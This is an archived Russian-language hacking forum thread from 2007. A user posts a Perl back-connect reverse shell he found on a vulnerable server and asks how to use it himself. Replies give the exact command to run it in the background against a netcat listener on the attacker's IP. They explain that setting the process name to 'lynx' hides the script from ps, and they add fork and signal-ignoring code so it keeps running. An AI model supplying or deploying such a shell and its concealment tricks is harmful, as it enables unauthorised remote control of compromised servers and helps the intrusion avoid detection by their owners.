нашол Perl скрипт

Discussion in 'PHP' started by ya_mag, 2 Aug 2007.

  1. ya_mag

    ya_mag Elder - Старейшина

    Joined:
    18 Jan 2007
    Messages:
    52
    Likes Received:
    8
    Reputations:
    10
    вот на одном уязвимом серваке нашол такое:
    Code:
    #!/usr/bin/perl use Socket; $cmd= "lynx"; $system= 'echo "`uname -a`";echo "`id`";/bin/sh'; $0=$cmd; $target=$ARGV[0]; $port=$ARGV[1]; $iaddr=inet_aton($target) || die("Error: $!\n"); $paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n"); $proto=getprotobyname('tcp'); socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n"); connect(SOCKET, $paddr) || die("Error: $!\n"); open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); system($system); close(STDIN); close(STDOUT); close(STDERR);
    я так понимаю это что то вроде бакконекта? ни ули что то ещё.. я просто в перле вобще не соображаю :( вопрос: как его заюзать для себя?
    на серваке php инклуд консоль работает :) даже с правами какогото юзера :D
     
  2. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Загрузи этот файл на сервер, затем в консоли выполни
    Code:
    perl your_script.pl 192.168.19.217 12345 >/dev/null &
    
    где your_script.pl - имя скрипта, который ты загрузишь,
    192.168.19.217 - твой IP
    12345 - порт, на котором ты запустишь неткат на своей машине и будешь ждать коннекта

    >/dev/null - перенаправление всего, что будет выводить твой скрипт в консоль на сервере в никуда

    & - исполнять в фоне
     
  3. C!klodoL

    C!klodoL Elder - Старейшина

    Joined:
    5 Jun 2007
    Messages:
    302
    Likes Received:
    208
    Reputations:
    4
    по моему скрипт просто перенаправляет вывод браузера lynx в сокет
     
  4. Helios

    Helios Elder - Старейшина

    Joined:
    14 Jan 2007
    Messages:
    414
    Likes Received:
    180
    Reputations:
    103
    Выводит он информацию о системе и пользователе, после чего запускает /bin/sh
    PHP:
    $system'echo "`uname -a`";echo "`id`";/bin/sh';
    .....
    system($system);
    А под lynx, скорее всего, просто маскируется. (точно не знаю, т.к. perl-кодер из меня не ахти какой)
     
  5. KSURi

    KSURi tnega AOLPS

    Joined:
    6 Jun 2006
    Messages:
    458
    Likes Received:
    219
    Reputations:
    357
    Code:
    $cmd= "lynx"; ... $0=$cmd;
    
    Правильно, этот код спрячет скрипт от ps. Но по хорошему еще надо добавлять \0 (нулевой байт) в конец названия "левого" процесса насколько я помню
     
  6. fYt

    fYt Elder - Старейшина

    Joined:
    11 Jan 2007
    Messages:
    54
    Likes Received:
    36
    Reputations:
    7
    Можно добавить такой код в начало и еще игнорирование сигналов.
    Code:
    my $pid=fork;
    exit if $pid;
    $SIG{'INT'}='IGNORE';
    $SIG{'HUP'}='IGNORE';
    $SIG{'TERM'}='IGNORE';
    $SIG{'CHLD'}='IGNORE';
    $SIG{'PS'}='IGNORE';
     
    #6 fYt, 2 Aug 2007
    Last edited: 2 Aug 2007
  7. biophreak

    biophreak Elder - Старейшина

    Joined:
    3 Aug 2007
    Messages:
    348
    Likes Received:
    63
    Reputations:
    15
    Да, но некоторые сигналы заигнорить не получится...какие имеено - надо читать доку по Posix сигналам :)

    ЗЫЖ И код не ахти какой: где-же use strict; и use warnings; ??? =)
    Этим можно избежать многих проблем :)

    ЗЗЫЖ Оффтоплю? Сорри :)
     
  8. fYt

    fYt Elder - Старейшина

    Joined:
    11 Jan 2007
    Messages:
    54
    Likes Received:
    36
    Reputations:
    7
    Из этих все получится. Не игонорится SIGKILL.